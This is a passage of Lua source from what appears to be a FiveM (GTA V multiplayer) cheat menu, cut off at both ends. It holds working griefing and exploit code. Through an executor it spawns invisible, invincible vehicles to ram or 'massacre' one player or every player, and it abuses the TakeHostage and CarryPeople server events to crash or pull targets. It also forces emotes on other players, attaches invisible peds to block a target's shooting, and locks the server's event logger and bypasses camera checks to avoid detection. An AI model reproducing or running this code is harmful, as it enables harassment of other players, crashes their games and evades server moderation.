menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %s local pos = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local vehicleModel = "reaper" local spawnPos = vector3(pos.x, pos.y, pos.z - 10.0) _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, heading, function(vehicle) if DoesEntityExist(vehicle) then SetVehicleOnGroundProperly(vehicle) SetVehicleHasBeenOwnedByPlayer(vehicle, true) SetEntityAsMissionEntity(vehicle, true, true) Citizen.SetTimeout(1000, function() if DoesEntityExist(vehicle) then SetEntityVelocity(vehicle, 0.0, 0.0, 100.0) end end) end end, %d) end) ]], targetInfo.ped, safeSpawn ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.launchFlingPlayer(option) if option and option.targetInfo then local choice = option.selectedValue or "Launch" if choice == "Launch" then menu.functions.launchPlayerTwo(option) elseif choice == "Slide Player" then menu.functions.slideRamPlayer(option) elseif choice == "Fling" then menu.functions.flingPlayer(option) end end end function assembledMenuFunctions.getRpEmotesResource() for _, resource in ipairs({ "rpemotes-reborn", "rpemotes", "rp-emotes-reborn" }) do if Ham.hasResource and Ham.hasResource(resource) then return resource end end return nil end function assembledMenuFunctions.runWithEventLoggerSafe(callback) if type(callback) ~= "function" then return end Citizen.CreateThread(function() local lockKey = "nea67667nea" if Ham and Ham.lockEventLogger then Ham.lockEventLogger(lockKey) end Citizen.Wait(1000) callback() Citizen.Wait(1000) if Ham and Ham.unlockEventLogger then Ham.unlockEventLogger(lockKey) end end) end function assembledMenuFunctions.forceEmote(option) if menu.vars._forceEmotePromptActive then return end if not Ham or not Ham.findEvent or not Ham.findEvent("rpemotes:server:confirmEmote") then menu.utils.notify("rpemotes:server:confirmEmote not found", "error", 2500) return end local resource = menu.functions.getRpEmotesResource() if not resource then menu.utils.notify("rpemotes-reborn resource not found", "error", 2500) return end local targets = menu.logic.gatherPlayerTargets({ runMultiple = true }) if #targets == 0 then if option and option.targetInfo and option.targetInfo.serverId then targets = { option.targetInfo } else menu.utils.notify("No target selected", "error", 2000) return end end menu.vars._forceEmotePromptActive = true menu.ui.promptText({ title = "Force Emote", label = "Emote name", placeholder = "e.g. carry, kiss, slap", default = "", maxLen = 64 }, function(emoteName, cancelled) menu.vars._forceEmotePromptActive = false if cancelled then return end emoteName = emoteName and string.gsub(emoteName, "^%s*(.-)%s*$", "%1") or "" if emoteName == "" then menu.utils.notify("No emote name entered", "error", 2500) return end local otherEmote = emoteName local selfEmote = emoteName local emote = menu.vars.emoteTable and menu.vars.emoteTable[emoteName:lower()] if emote then otherEmote = emote.emote_other or emoteName selfEmote = emote.emote_self or emoteName end local escapedOther = otherEmote:gsub("\\", "\\\\"):gsub("\"", "\\\"") local escapedSelf = selfEmote:gsub("\\", "\\\\"):gsub("\"", "\\\"") menu.functions.runWithEventLoggerSafe(function() local count = 0 for _, target in ipairs(targets) do local serverId = tonumber(target.serverId) if serverId then local code = string.format( "TriggerServerEvent(\"rpemotes:server:confirmEmote\", %d, \"%s\", \"%s\")", serverId, escapedOther, escapedSelf ) Ham.Execute(resource, code) count = count + 1 end end if 0 < count then menu.utils.notify("Force emote sent to " .. tostring(count) .. " player(s)", "success", 2000) end end) end) end function assembledMenuFunctions.forceEmoteReverse(option) if menu.vars._forceEmoteReversePromptActive then return end if not Ham or not Ham.findEvent or not Ham.findEvent("rpemotes:server:requestEmote") then menu.utils.notify("rpemotes:server:requestEmote not found", "error", 2500) return end local resource = menu.functions.getRpEmotesResource() if not resource then menu.utils.notify("rpemotes-reborn resource not found", "error", 2500) return end local targets = menu.logic.gatherPlayerTargets({ runMultiple = true }) if #targets == 0 then if option and option.targetInfo and option.targetInfo.serverId then targets = { option.targetInfo } else menu.utils.notify("No target selected", "error", 2000) return end end menu.vars._forceEmoteReversePromptActive = true menu.ui.promptText({ title = "Force Emote Reverse", label = "Shared emote name", placeholder = "e.g. hug, kiss, carry", default = "", maxLen = 64 }, function(emoteName, cancelled) menu.vars._forceEmoteReversePromptActive = false if cancelled then return end emoteName = emoteName and string.gsub(emoteName, "^%s*(.-)%s*$", "%1") or "" if emoteName == "" then menu.utils.notify("No emote name entered", "error", 2500) return end emoteName = string.lower(emoteName) local escapedName = emoteName:gsub("\\", "\\\\"):gsub("\"", "\\\"") menu.functions.runWithEventLoggerSafe(function() local count = 0 for _, target in ipairs(targets) do local serverId = tonumber(target.serverId) if serverId then local code = string.format( "TriggerServerEvent(\"rpemotes:server:requestEmote\", %d, \"%s\")", serverId, escapedName ) Ham.Execute(resource, code) count = count + 1 end end if 0 < count then menu.utils.notify("Emote request sent to " .. tostring(count) .. " player(s)", "success", 2000) end end) end) end function assembledMenuFunctions.receiveEmoteRequest(option) if menu.vars._receiveEmoteRequestPromptActive then return end if not Ham or not Ham.findEvent or not Ham.findEvent("rpemotes:client:requestEmote") then menu.utils.notify("rpemotes:client:requestEmote not found", "error", 2500) return end local resource = menu.functions.getRpEmotesResource() if not resource then menu.utils.notify("rpemotes-reborn resource not found", "error", 2500) return end local serverId if option and option.targetInfo and option.targetInfo.serverId then serverId = tonumber(option.targetInfo.serverId) elseif menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId then serverId = tonumber(menu.vars.selectedPlayer.serverId) end if not serverId then menu.utils.notify("No target selected", "error", 2000) return end menu.vars._receiveEmoteRequestPromptActive = true menu.ui.promptText({ title = "Emote Request", label = "Shared emote name", placeholder = "e.g. hug, kiss, carry", default = "", maxLen = 64 }, function(emoteName, cancelled) menu.vars._receiveEmoteRequestPromptActive = false if cancelled then return end emoteName = emoteName and string.gsub(emoteName, "^%s*(.-)%s*$", "%1") or "" if emoteName == "" then menu.utils.notify("No emote name entered", "error", 2500) return end emoteName = string.lower(emoteName) local escapedName = emoteName:gsub("\\", "\\\\"):gsub("\"", "\\\"") local code = string.format("TriggerEvent(\"rpemotes:client:requestEmote\", \"%s\", \"Shared\", %d)", escapedName, serverId) menu.functions.runWithEventLoggerSafe(function() Ham.Execute(resource, code) menu.utils.notify("Emote request incoming \226\128\148 press Y to accept", "info", 3500) end) end) end function assembledMenuFunctions.ramPlayer(toggleOptions) if not menu.utils.isAnyNearbyVehicleFallbackWhitelisted() then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if toggleOptions then if not toggleOptions.targetInfo then return end local targetInfo = toggleOptions.targetInfo local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local serverId = tonumber(targetInfo.serverId) local targetPed = tonumber(targetInfo.ped) local targetCode if serverId then targetCode = string.format( [[ local targetPlayer = GetPlayerFromServerId(%d) if not targetPlayer or targetPlayer == -1 then return end local targetPed = GetPlayerPed(targetPlayer) ]], serverId ) elseif targetPed then targetCode = string.format( [[ local targetPed = %d ]], targetPed ) else menu.utils.notify("Invalid target ped", "error", 2000) return end if toggleOptions.toggleState then local code = string.format( [[ %s if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end if not _G.ramPlayerTbl then _G.ramPlayerTbl = {} end if not _G.ramPlayerTbl[targetPed] then _G.ramPlayerTbl[targetPed] = true end Citizen.CreateThread(function() local targetPos = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) local rad = math.rad(heading) local spawnPos = vector3( targetPos.x + math.cos(rad) * 3.0, targetPos.y + math.sin(rad) * 3.0, targetPos.z ) local fb = {"asea", "drafter", "schafter2"} local vehicleModel = fb[math.random(1, #fb)] local closestDistance = 400.0 local bmxHash = GetHashKey("bmx") local bf400Hash = GetHashKey("bf400") for _, existingVehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(existingVehicle) then local distance = #(targetPos - GetEntityCoords(existingVehicle)) if distance <= 400.0 and distance < closestDistance then local nearbyModel = GetEntityModel(existingVehicle) if nearbyModel and nearbyModel ~= 0 and IsThisModelACar(nearbyModel) and not IsThisModelABike(nearbyModel) and nearbyModel ~= bmxHash and nearbyModel ~= bf400Hash then local nearbyModelName = GetDisplayNameFromVehicleModel(nearbyModel) if nearbyModelName and nearbyModelName ~= "" and nearbyModelName ~= "CARNOTFOUND" then vehicleModel = string.lower(nearbyModelName) closestDistance = distance end end end end end _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, heading, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) SetVehicleHasBeenOwnedByPlayer(vehicle, true) SetEntityAsMissionEntity(vehicle, true, true) while DoesEntityExist(vehicle) and DoesEntityExist(targetPed) and _G.ramPlayerTbl[targetPed] do local targetPos = GetEntityCoords(targetPed) local vehiclePos = GetEntityCoords(vehicle) local direction = vector3(targetPos.x - vehiclePos.x, targetPos.y - vehiclePos.y, targetPos.z - vehiclePos.z) SetEntityVelocity(vehicle, direction.x * 5.0, direction.y * 5.0, direction.z * 5.0) Citizen.Wait(5) end if DoesEntityExist(vehicle) then DeleteEntity(vehicle) end if _G.ramPlayerTbl then _G.ramPlayerTbl[targetPed] = nil end end, %d) end) ]], targetCode, safeSpawn ) menu.utils.safeExecute(code) return end local code = string.format( [[ %s if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end if _G.ramPlayerTbl then _G.ramPlayerTbl[targetPed] = nil end ]], targetCode ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.vdmPlayer(toggleOptions) if not menu.utils.isAnyNearbyVehicleFallbackWhitelisted() then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if toggleOptions then if not toggleOptions.targetInfo then return end local targetInfo = toggleOptions.targetInfo local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 if toggleOptions.toggleState then local code = string.format( [[ local targetPed = %s if not DoesEntityExist(targetPed) then return end if not _G.vdmPlayerTbl then _G.vdmPlayerTbl = {} end if not _G.vdmPlayerTbl[targetPed] then _G.vdmPlayerTbl[targetPed] = true end Citizen.CreateThread(function() local startCoords = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 30.0, 0.0) local heading = GetEntityHeading(targetPed) local fb = {"asea", "drafter", "schafter2"} local vehicleModel = fb[math.random(1, #fb)] local targetCoords = GetEntityCoords(targetPed) local closestDistance = 400.0 local bmxHash = GetHashKey("bmx") local bf400Hash = GetHashKey("bf400") for _, existingVehicle in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(existingVehicle) then local distance = #(targetCoords - GetEntityCoords(existingVehicle)) if distance <= 400.0 and distance < closestDistance then local nearbyModel = GetEntityModel(existingVehicle) if nearbyModel and nearbyModel ~= 0 and IsThisModelACar(nearbyModel) and not IsThisModelABike(nearbyModel) and nearbyModel ~= bmxHash and nearbyModel ~= bf400Hash then local nearbyModelName = GetDisplayNameFromVehicleModel(nearbyModel) if nearbyModelName and nearbyModelName ~= "" and nearbyModelName ~= "CARNOTFOUND" then vehicleModel = string.lower(nearbyModelName) closestDistance = distance end end end end end _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, startCoords, heading, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) SetEntityAsMissionEntity(vehicle, true, true) SetVehicleOnGroundProperly(vehicle) SetVehicleEngineOn(vehicle, true, true, false) SetVehicleDoorsLocked(vehicle, 4) local fromBehind = false local nextTeleport = 0 while DoesEntityExist(vehicle) and DoesEntityExist(targetPed) and _G.vdmPlayerTbl[targetPed] do local currentTime = GetGameTimer() local targetCoords = GetEntityCoords(targetPed) if currentTime >= nextTeleport then local offsetY = fromBehind and -10.0 or 10.0 local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, offsetY, 0.0) SetEntityCoordsNoOffset(vehicle, spawnPos.x, spawnPos.y, spawnPos.z, false, false, false) SetVehicleOnGroundProperly(vehicle) fromBehind = not fromBehind nextTeleport = currentTime + 1000 end local vehicleCoords = GetEntityCoords(vehicle) SetEntityHeading( vehicle, GetHeadingFromVector_2d( targetCoords.x - vehicleCoords.x, targetCoords.y - vehicleCoords.y ) ) SetVehicleForwardSpeed(vehicle, 27.78) Wait(0) end if DoesEntityExist(vehicle) then DeleteEntity(vehicle) end _G.vdmPlayerTbl[targetPed] = nil end, %d) end) ]], targetInfo.ped, safeSpawn ) menu.utils.safeExecute(code) return end local code = string.format( [[ local targetPed = %s if not DoesEntityExist(targetPed) then return end _G.vdmPlayerTbl[targetPed] = nil ]], targetInfo.ped ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.massacrePlayer(option) if not menu.utils.isVehicleWhitelisted("baller") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if option then if not option.targetInfo then return end local targetInfo = option.targetInfo local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 local spawnAsObject = menu.vars.spawnVehiclesAsObject and 1 or 0 local code = string.format( [[ Citizen.CreateThread(function() local targetPed = %d if not targetPed or not DoesEntityExist(targetPed) then return end local pos = GetEntityCoords(targetPed) local vehicleModel = "baller" local spawnPos = vector3(pos.x, pos.y, pos.z - 5.0) if %d == 1 and %d == 0 then -- Use CreateObject directly when spawnVehiclesAsObject is true and safeSpawn is false local vehicleHash = GetHashKey(vehicleModel) RequestModel(vehicleHash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(vehicleHash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(vehicleHash) then return end local vehicle = CreateObject(vehicleHash, spawnPos.x, spawnPos.y, spawnPos.z, true, false, false) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) SetEntityAlpha(vehicle, 0, false) SetEntityVisible(vehicle, false, false) SetVehicleEngineOn(vehicle, true, true, false) SetEntityInvincible(vehicle, true) local startTime = GetGameTimer() while DoesEntityExist(vehicle) do if (not DoesEntityExist(targetPed)) or IsPedDeadOrDying(targetPed, true) or (GetEntityHealth(targetPed) <= 0) then break end if GetGameTimer() - startTime >= 15000 then break end Wait(0) local targetPos = GetEntityCoords(targetPed) local vehiclePos = GetEntityCoords(vehicle) local dx = targetPos.x - vehiclePos.x local dy = targetPos.y - vehiclePos.y local dz = targetPos.z - vehiclePos.z local distance = math.sqrt(dx*dx + dy*dy + dz*dz) local speed = 20.0 if distance > 0.01 then local vx = (dx / distance) * speed local vy = (dy / distance) * speed local vz = (dz / distance) * speed SetEntityVelocity(vehicle, vx, vy, vz) end end if DoesEntityExist(vehicle) then DeleteEntity(vehicle) end SetModelAsNoLongerNeeded(vehicleHash) else _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, 0.0, function(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end Citizen.Wait(50) SetEntityAlpha(vehicle, 0, false) SetEntityVisible(vehicle, false, false) SetVehicleEngineOn(vehicle, true, true, false) SetEntityInvincible(vehicle, true) local startTime = GetGameTimer() while DoesEntityExist(vehicle) do if (not DoesEntityExist(targetPed)) or IsPedDeadOrDying(targetPed, true) or (GetEntityHealth(targetPed) <= 0) then break end if GetGameTimer() - startTime >= 15000 then break end Wait(0) local targetPos = GetEntityCoords(targetPed) local vehiclePos = GetEntityCoords(vehicle) local dx = targetPos.x - vehiclePos.x local dy = targetPos.y - vehiclePos.y local dz = targetPos.z - vehiclePos.z local distance = math.sqrt(dx*dx + dy*dy + dz*dz) local speed = 20.0 if distance > 0.01 then local vx = (dx / distance) * speed local vy = (dy / distance) * speed local vz = (dz / distance) * speed SetEntityVelocity(vehicle, vx, vy, vz) end end if DoesEntityExist(vehicle) then DeleteEntity(vehicle) end end, %d) end end) ]], targetInfo.ped, spawnAsObject, safeSpawn, safeSpawn ) menu.utils.safeExecute(code) end end function assembledMenuFunctions.massacreAllPlayers() local spawnAsObject = menu.vars.spawnVehiclesAsObject and 1 or 0 local safeSpawn = menu.vars.bools.safeVehicleSpawn and 1 or 0 if not menu.utils.isVehicleWhitelisted("benson") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end local code = string.format( [[ Citizen.CreateThread(function() local vehicleModel = "benson" local me = PlayerId() local processed = {} local maxConcurrent = 3 local active = {} -- array of { pid, ped, vehicle, started } local function isValidTarget(pid, ped) if pid == me then return false end if ped == 0 or not DoesEntityExist(ped) then return false end if IsPedInAnyVehicle(ped, false) then return false end if IsPedDeadOrDying(ped, true) or (GetEntityHealth(ped) <= 0) then return false end if processed[pid] then return false end return true end while true do local players = GetActivePlayers() -- Fill up to maxConcurrent for i = 1, #players do if #active >= maxConcurrent then break end local pid = players[i] local ped = GetPlayerPed(pid) if isValidTarget(pid, ped) then local pos = GetEntityCoords(ped) local spawnPos = vector3(pos.x, pos.y, pos.z - 5.0) local vehicle = nil if %d == 1 and %d == 0 then -- Use CreateObject directly when spawnVehiclesAsObject is true and safeSpawn is false local vehicleHash = GetHashKey(vehicleModel) RequestModel(vehicleHash) while not HasModelLoaded(vehicleHash) do Wait(0) end vehicle = CreateObject(vehicleHash, spawnPos.x, spawnPos.y, spawnPos.z, true, false, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then SetEntityAlpha(vehicle, 0, false) SetVehicleEngineOn(vehicle, true, true, false) SetEntityInvincible(vehicle, true) SetEntityVisible(vehicle, false, false) SetEntityAsMissionEntity(vehicle, true, true) ActivatePhysics(vehicle) SetEntityDynamic(vehicle, true) SetEntityCollision(vehicle, true, true) table.insert(active, { pid = pid, ped = ped, vehicle = vehicle, started = GetGameTimer() }) else processed[pid] = true end else _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnPos, 0.0, function(veh) if not veh or veh == 0 or not DoesEntityExist(veh) then processed[pid] = true return end Citizen.Wait(50) vehicle = veh SetEntityCoords(vehicle, pos.x, pos.y, pos.z - 5.0, false, false, false, true) SetEntityAlpha(vehicle, 0, false) SetVehicleEngineOn(vehicle, true, true, false) SetEntityInvincible(vehicle, true) SetEntityVisible(vehicle, false, false) SetEntityAsMissionEntity(vehicle, true, true) ActivatePhysics(vehicle) SetEntityDynamic(vehicle, true) SetEntityCollision(vehicle, true, true) table.insert(active, { pid = pid, ped = ped, vehicle = vehicle, started = GetGameTimer() }) end, %d) -- Wait for vehicle to be spawned local waitCount = 0 while vehicle == nil and waitCount < 100 do Wait(10) waitCount = waitCount + 1 end if vehicle == nil then processed[pid] = true end end end end -- If nothing active, check if any pending remains if #active == 0 then local anyPending = false for i = 1, #players do local pid = players[i] local ped = GetPlayerPed(pid) if isValidTarget(pid, ped) then anyPending = true break end end if not anyPending then break end end -- Drive each active vehicle toward its target; clear when dead, enters vehicle, timeout, or invalid for i = #active, 1, -1 do local item = active[i] local pid, ped, vehicle = item.pid, item.ped, item.vehicle local elapsed = GetGameTimer() - (item.started or GetGameTimer()) local done = false if vehicle == 0 or not DoesEntityExist(vehicle) then done = true end if not done and (ped == 0 or not DoesEntityExist(ped)) then done = true end if not done and (IsPedDeadOrDying(ped, true) or (GetEntityHealth(ped) <= 0)) then done = true end if not done and IsPedInAnyVehicle(ped, false) then done = true end if not done and elapsed >= 15000 then done = true end if not done then local targetPos = GetEntityCoords(ped) local vehiclePos = GetEntityCoords(vehicle) local dx = targetPos.x - vehiclePos.x local dy = targetPos.y - vehiclePos.y local dz = targetPos.z - vehiclePos.z local distance = math.sqrt(dx*dx + dy*dy + dz*dz) local speed = 20.0 if distance > 0.01 then local vx = (dx / distance) * speed local vy = (dy / distance) * speed local vz = (dz / distance) * speed SetEntityVelocity(vehicle, vx, vy, vz) end else if vehicle ~= 0 and DoesEntityExist(vehicle) then DeleteEntity(vehicle) end processed[pid] = true table.remove(active, i) end end Wait(1) end end) ]], spawnAsObject, safeSpawn, safeSpawn ) menu.utils.safeExecute(code) end function assembledMenuFunctions.teleportToPlayer(option) if option then if not option.targetInfo then return end local coords = GetEntityCoords(option.targetInfo.ped) Citizen.CreateThread(function() menu.functions.safeTeleport(coords) end) end end function assembledMenuFunctions.teleportSelector(option) if not option or not option.targetInfo then return end local choice = option.selectedValue or "Player" if choice == "Vehicle" then menu.functions.teleportToPlayerVehicle(option) else menu.functions.teleportToPlayer(option) end end function assembledMenuFunctions.steppedTeleport(vector) local complete = false Citizen.CreateThread(function() local startCoords = GetEntityCoords(PlayerPedId()) local distance = #(vector - startCoords) local stepDistance = 280.0 local delay = 250 local steps = math.ceil(distance / stepDistance) if steps < 1 then steps = 1 end local stepVector = (vector - startCoords) / steps for step = 1, steps, 1 do local coords = startCoords + stepVector * step SetEntityCoords(PlayerPedId(), coords.x, coords.y, coords.z, false, false, false, true) if step < steps then Citizen.Wait(delay) end end FreezeEntityPosition(PlayerPedId(), true) Citizen.Wait(1000) FreezeEntityPosition(PlayerPedId(), false) for _ = 0, 300, 1 do Ham.setPosition(vector.x, vector.y, vector.z) Citizen.Wait(1) SetEntityVelocity(PlayerPedId(), 0.0, 1.0, 0.0) Citizen.Wait(1) SetEntityVelocity(PlayerPedId(), 0.0, 0.0, 0.0) end Citizen.Wait(10) SetEntityVelocity(PlayerPedId(), 0.0, 1.0, 0.0) Citizen.Wait(10) SetEntityVelocity(PlayerPedId(), 0.0, 0.0, 0.0) complete = true end) while not complete do Citizen.Wait(10) end end function assembledMenuFunctions.bringPlayer(option) if option then if not option.targetInfo then return end Citizen.CreateThread(function() local targetInfo = option.targetInfo menu.utils.safeExecute("TriggerServerEvent(\"TakeHostage:sync\", " .. targetInfo.serverId .. ")") Citizen.Wait(2000) menu.utils.safeExecute( "TriggerServerEvent(\"TakeHostage:releaseHostage\", " .. targetInfo.serverId .. ")" ) end) end end function assembledMenuFunctions.crashPlayerJuan(option) if option then if not option.targetInfo then return end Citizen.CreateThread(function() local targetInfo = option.targetInfo local originalCoords = GetEntityCoords(PlayerPedId()) menu.functions.safeTeleport(vector3(-75.27, 7631.66, 2.94)) Citizen.Wait(1000) TriggerServerEvent("TakeHostage:sync", targetInfo.serverId) TriggerServerEvent("module:takehostage:take", targetInfo.serverId) Citizen.Wait(1000) menu.functions.safeTeleport(originalCoords) end) end end function assembledMenuFunctions.crashPlayerDos(option) if option then if not option.targetInfo then return end Citizen.CreateThread(function() local targetInfo = option.targetInfo local originalCoords = GetEntityCoords(PlayerPedId()) menu.functions.safeTeleport(vector3(-75.27, 7631.66, 2.94)) Citizen.Wait(2000) TriggerServerEvent( "CarryPeople:sync", targetInfo.serverId, "missfinale_c2mcs_1", "nm", "fin_c2_mcs_1_camman", "firemans_carry", 0.15, 0.27, 0.63, targetInfo.serverId, 100000, 0.0, 49, 33, 1, 0, 0.5, 0.5 ) TriggerServerEvent("module:basics:carry:syncTarget", targetInfo.serverId) Citizen.Wait(2000) menu.functions.safeTeleport(originalCoords) end) end end function assembledMenuFunctions.spectatePlayer(toggleOptions) if not toggleOptions then return end if toggleOptions.toggleState then local targetInfo = toggleOptions.targetInfo if targetInfo and targetInfo.ped and DoesEntityExist(targetInfo.ped) then if Ham and Ham.camBypass then Ham.camBypass(true) end if Ham and Ham.spectatorMode then Ham.spectatorMode(true) end if not menu.vars.spectatePlayerCamera then menu.vars.spectatePlayerCamera = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) SetCamActive(menu.vars.spectatePlayerCamera, true) RenderScriptCams(true, false, 0, true, true) end menu.vars.spectatePlayerCamRotation = menu.vars.spectatePlayerCamRotation or { horizontal = 0.0, vertical = 8.0, distance = 3.5 } if menu.vars.spectatePlayerThread then return end menu.vars.spectatePlayerThread = true Citizen.CreateThread(function() local lastFocusTime = 0 local lastFocusCoords = nil local focusInterval = 200 local focusDistance = 8.0 while menu.vars.spectatePlayerThread do local targetPed = nil local toggleStates = menu.vars.indivBools if toggleStates and toggleStates.spectate then for ped, selected in pairs(toggleStates.spectate) do if selected and DoesEntityExist(ped) then targetPed = ped break end end end if not targetPed or not menu.vars.spectatePlayerCamera then break end local horizontalInput = GetDisabledControlNormal(0, 220) local verticalInput = GetDisabledControlNormal(0, 221) local sensitivity = 9.0 local rotation = menu.vars.spectatePlayerCamRotation rotation.horizontal = rotation.horizontal + horizontalInput * sensitivity rotation.vertical = rotation.vertical + verticalInput * sensitivity * 0.8 rotation.vertical = math.max(-60.0, math.min(60.0, rotation.vertical)) if IsDisabledControlPressed(0, 241) then rotation.distance = math.max(2.0, rotation.distance - 0.4) elseif IsDisabledControlPressed(0, 242) then rotation.distance = math.min(25.0, rotation.distance + 0.4) end local targetCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) + 180.0 + rotation.horizontal local horizontalRad = math.rad(heading) local verticalRad = math.rad(rotation.vertical) local distance = rotation.distance local offsetX = math.sin(horizontalRad) * math.cos(verticalRad) * distance local offsetY = math.cos(horizontalRad) * math.cos(verticalRad) * distance local offsetZ = math.sin(verticalRad) * distance local cameraCoords = vector3(targetCoords.x + offsetX, targetCoords.y + offsetY, targetCoords.z + 0.95 + offsetZ) local now = GetGameTimer() local updateFocus = false if focusInterval <= now - lastFocusTime then updateFocus = true elseif lastFocusCoords then if focusDistance < #(targetCoords - lastFocusCoords) then updateFocus = true end else updateFocus = true end if updateFocus then SetFocusArea(targetCoords.x, targetCoords.y, targetCoords.z) RequestCollisionAtCoord(targetCoords.x, targetCoords.y, targetCoords.z) RequestAdditionalCollisionAtCoord(targetCoords.x, targetCoords.y, targetCoords.z) lastFocusTime = now lastFocusCoords = targetCoords end SetCamCoord(menu.vars.spectatePlayerCamera, cameraCoords.x, cameraCoords.y, cameraCoords.z) PointCamAtCoord( menu.vars.spectatePlayerCamera, targetCoords.x, targetCoords.y, targetCoords.z + 0.6 ) Citizen.Wait(0) end if menu.vars.spectatePlayerCamera then RenderScriptCams(false, false, 0, true, true) DestroyCam(menu.vars.spectatePlayerCamera, false) menu.vars.spectatePlayerCamera = nil end ClearFocus() if Hdn and Hdn.spectatorMode then Hdn.spectatorMode(false) end if Ham and Ham.spectatorMode then Ham.spectatorMode(false) end if Ham and Ham.camBypass then Ham.camBypass(false) end menu.vars.spectatePlayerThread = false end) return end if Hdn and Hdn.spectatorMode then Hdn.spectatorMode(false) end if toggleOptions.targetInfo and toggleOptions.targetInfo.ped and menu.vars.indivBools and menu.vars.indivBools.spectate then menu.vars.indivBools.spectate[toggleOptions.targetInfo.ped] = false end menu.utils.notify("Select a player first or target invalid.", "error", 2500) return end local playerCoords = GetEntityCoords(PlayerPedId()) RequestCollisionAtCoord(playerCoords.x, playerCoords.y, playerCoords.z) menu.vars.spectatePlayerThread = false if menu.vars.spectatePlayerCamera then RenderScriptCams(false, false, 0, true, true) DestroyCam(menu.vars.spectatePlayerCamera, false) menu.vars.spectatePlayerCamera = nil end ClearFocus() if Hdn and Hdn.spectatorMode then Hdn.spectatorMode(false) end if Ham and Ham.spectatorMode then Ham.spectatorMode(false) end if Ham and Ham.camBypass then Ham.camBypass(false) end end function assembledMenuFunctions.teleportToPlayerVehicle(option) local ped = option.targetInfo.ped if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) local freeSeat = -1 for seat = -1, GetVehicleMaxNumberOfPassengers(vehicle), 1 do if IsVehicleSeatFree(vehicle, seat) then freeSeat = seat break end end if freeSeat ~= -1 then SetPedIntoVehicle(PlayerPedId(), vehicle, freeSeat) return end menu.utils.notify("Target vehicle is full.", "error") return end menu.utils.notify("Player not in a vehicle.", "error") end function assembledMenuFunctions.blockShooting(option, unused) if not menu.utils.ensurePedLimit() then return end if not menu.vars.whitelistedPed or not menu.utils.isWSPedWhitelisted(menu.vars.whitelistedPed) then menu.utils.notify("Ped is blacklisted", "error", 2000) return end local code = [[ Citizen.CreateThread(function() local targetPed = ]] .. option.targetInfo.ped .. [[ if not DoesEntityExist(targetPed) then menu.utils.notify("Invalid target.", "error") return end if not _IG.attachedPeds then _IG.attachedPeds = {} end local attachedPeds = _IG.attachedPeds[targetPed] if not attachedPeds then -- Enable blocking - create invisible peds local headBone = GetPedBoneIndex(targetPed, 31086) local model = ]] .. menu.vars.whitelistedPed .. [[ RequestModel(model) while not HasModelLoaded(model) do Wait(100) end local pedsToAttach = {} local z_offsets = {-1.0, -0.5, 0.0} for _, z_offset in ipairs(z_offsets) do local newPed = CreatePed(4, model, GetEntityCoords(targetPed), 0.0, true, true) -- Tag as menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(newPed) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) -- Wait for ped to be fully created local createTimeout = 0 while not DoesEntityExist(newPed) and createTimeout < 50 do Wait(10) createTimeout = createTimeout + 1 end if DoesEntityExist(newPed) then -- Ensure proper invisibility SetEntityVisible(newPed, false, false) SetEntityAlpha(newPed, 0, false) SetEntityInvincible(newPed, true) SetEntityCollision(newPed, true, true) SetEntityCanBeDamaged(newPed, false) SetPedCanRagdoll(newPed, false) FreezeEntityPosition(newPed, true) -- Prevent any AI behavior that might make it visible SetBlockingOfNonTemporaryEvents(newPed, true) SetPedKeepTask(newPed, true) SetPedConfigFlag(newPed, 32, false) -- PED_FLAG_IS_VISIBLE SetPedConfigFlag(newPed, 281, true) -- PED_FLAG_DISABLE_STOPPING_VEH_ENGINE AttachEntityToEntity( newPed, targetPed, headBone, 0.3, 0.7, z_offset, 0.0, 0.0, 180.0, false, false, true, false, 2, true ) -- Force invisibility again after attachment Wait(50) SetEntityVisible(newPed, false, false) SetEntityAlpha(newPed, 0, false) table.insert(pedsToAttach, newPed) end end _IG.attachedPeds[targetPed] = pedsToAttach -- Create a thread to maintain invisibility Citizen.CreateThread(function() while _IG.attachedPeds[targetPed] do for _, ped in ipairs(_IG.attachedPeds[targetPed] or {}) do if DoesEntityExist(ped) then if IsEntityVisible(ped) then SetEntityVisible(ped, false, false) SetEntityAlpha(ped, 0, false) end end end Wait(1000) -- Check every second end end) else -- Disable blocking - cleanup all peds safely for i = #attachedPeds, 1, -1 do local ped = 